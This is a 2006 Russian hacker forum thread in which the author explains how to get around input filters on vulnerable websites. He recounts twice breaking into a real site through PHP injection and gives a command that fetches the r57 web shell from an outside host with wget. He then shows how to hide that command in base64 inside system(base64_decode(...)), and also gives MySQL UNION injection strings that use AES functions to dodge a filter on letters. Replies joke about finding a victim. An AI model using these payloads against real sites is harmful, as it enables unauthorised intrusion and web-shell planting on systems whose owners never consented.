Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   Обход фильтрации или Методы шифрования запроса (https://forum.antichat.xyz/showthread.php?t=18219)

LoFFi 26.04.2006 12:27

Обход фильтрации или Методы шифрования запроса
 
Иногда мы видим явную уязвимость на сайте, но не можем ее использовать должным образом,
потому что нам портят жизнь разные мелочи, такие как какие-либо ограничения. Они существенно
урезают наши действия, иногда так, что кажеться, что что-либо сделать просто нереально,
но ведь все мы знаем что нет идеально защищенных систем.

Меня наверное закидают камнями, так как хотел сказать, что статья для новичков, но все таки
не буду этого писать, так как до недавнего времени не знал сам об этом (потому что просто сам
не сталкивался с таким), а вот как раз сейчас столкнулся, и решил написать.

Приведу я в этой статье только 2 примера, и я думаю что их хватит для того чтобы в общем
понять суть вопроса.



История первая:

Помню как-то пол года назад я взломал один сайтец. Он был очень тупо написан, и там была
php injection, в переменной БЕЗ КАКОЙ-ЛИБО ФИЛЬТРАЦИИ! То есть в нужное место я подставлял
что то типа system('ls') или system('wget http://rst.void.ru/download/r57shell.txt') ну и т.д.
То есть суть в том, что запрос никак не фильтровался. Так вот через эти пол года
они все таки заметили, что их взломали, и "залатали" сайт.... так залатали, что в течении 30 мин
я получил опять web-shell

Дело в том, что php-injection они закрыли только в одной переменной! (как раз в той, которую
я использовал при первом взломе). В остальных переменных, php inj работало так же, только
меня сначала очень огорчил тот факт, что ВСЕ переменные фильтровались на спецсимволы...
То есть в строку запроса я мог вписать только лишь символы ( ) , _
Но и этого мне хватило. запрос system(ls) - то есть без ковычек - работал нормально, только вот
ничего мне не давал. мне нужен был запрос system('wget http://rst.void.ru/download/r57shell.txt')
но в этом запросе есть кавычки, слэши, двоеточия, точки и т.д. что не пропускаеться. Вобщем
решение в данной ситуации одно - кодирование запроса. И в этом нам поможет base64 - так как его код
приемущественно буквенно-циферный.
Итак, закодируем строку "wget http://rst.void.ru/download/r57shell.txt" (без ковычек)
Для этого используем php код
<?
echo base64_encode("wget http://rst.void.ru/download/r57shell.txt");
?>

в итоге получили код
d2dldCBodHRwOi8vcnN0LnZvaWQucnUvZG93bmxvYWQvcjU3c2 hlbGwudHh0

ОБРАТИТЕ ВНИМАНИЕ! что код не должен содержать символов + или =

составим запрос закачивающий шелл на сайт

system(base64_decode(d2dldCBodHRwOi8vcnN0LnZvaWQuc nUvZG93bmxvYWQvcjU3c2hlbGwudHh0))

вот собственно и все. По тому же принципу можно организовать любое другое действие.


История вторая:

Намного короче первой. В принцыпе все то же самое. Это было на конкурсе хакер.ру
Ситуация была такой, что была mysql injection но самое обидное опять таки было то
что в названиях полей нельзя было использовать буквы. Но и это достаточно легко
обошлось используя тот же метод шифровки.
Например:
AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71)
то есть строка
union select 1,2,3,4,5,6,7,8,9,10,11/* - нормально работает
union select 1,2,3,4,5,6,test или 'test',8,9,10,11/* - не работает
union select 1,2,AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71),4,5 ,6,7,8,9,10,11/* - нормально работает





Вот собственно хорошие два примера о том, как можно обходить некоторые ограничения за счет
шифрования запросов.

LoFFi 02.05.2006 01:33

Видео тут
На видео я ZeFs

Dark Angel 11.08.2006 20:20

так ничего!!но после 3 часовова поиска бажново сайта я подумал и решил забыть про ету дырку!! :(

Ch3ck 11.08.2006 21:01

Да, нормально. Но мог бы уж расписать побольше. :cool:

Dark Angel 13.08.2006 06:31

зачем там и так всё понятна :) ну чё ктонить себе жертву нашёл :D

bul.666 13.08.2006 09:32

Цитата:

Сообщение от Dark Angel
зачем там и так всё понятна :) ну чё ктонить себе жертву нашёл :D

Зделай себе сайтец на апаче (Пингвин канечно) с system и тренируйся =)


Время: 15:29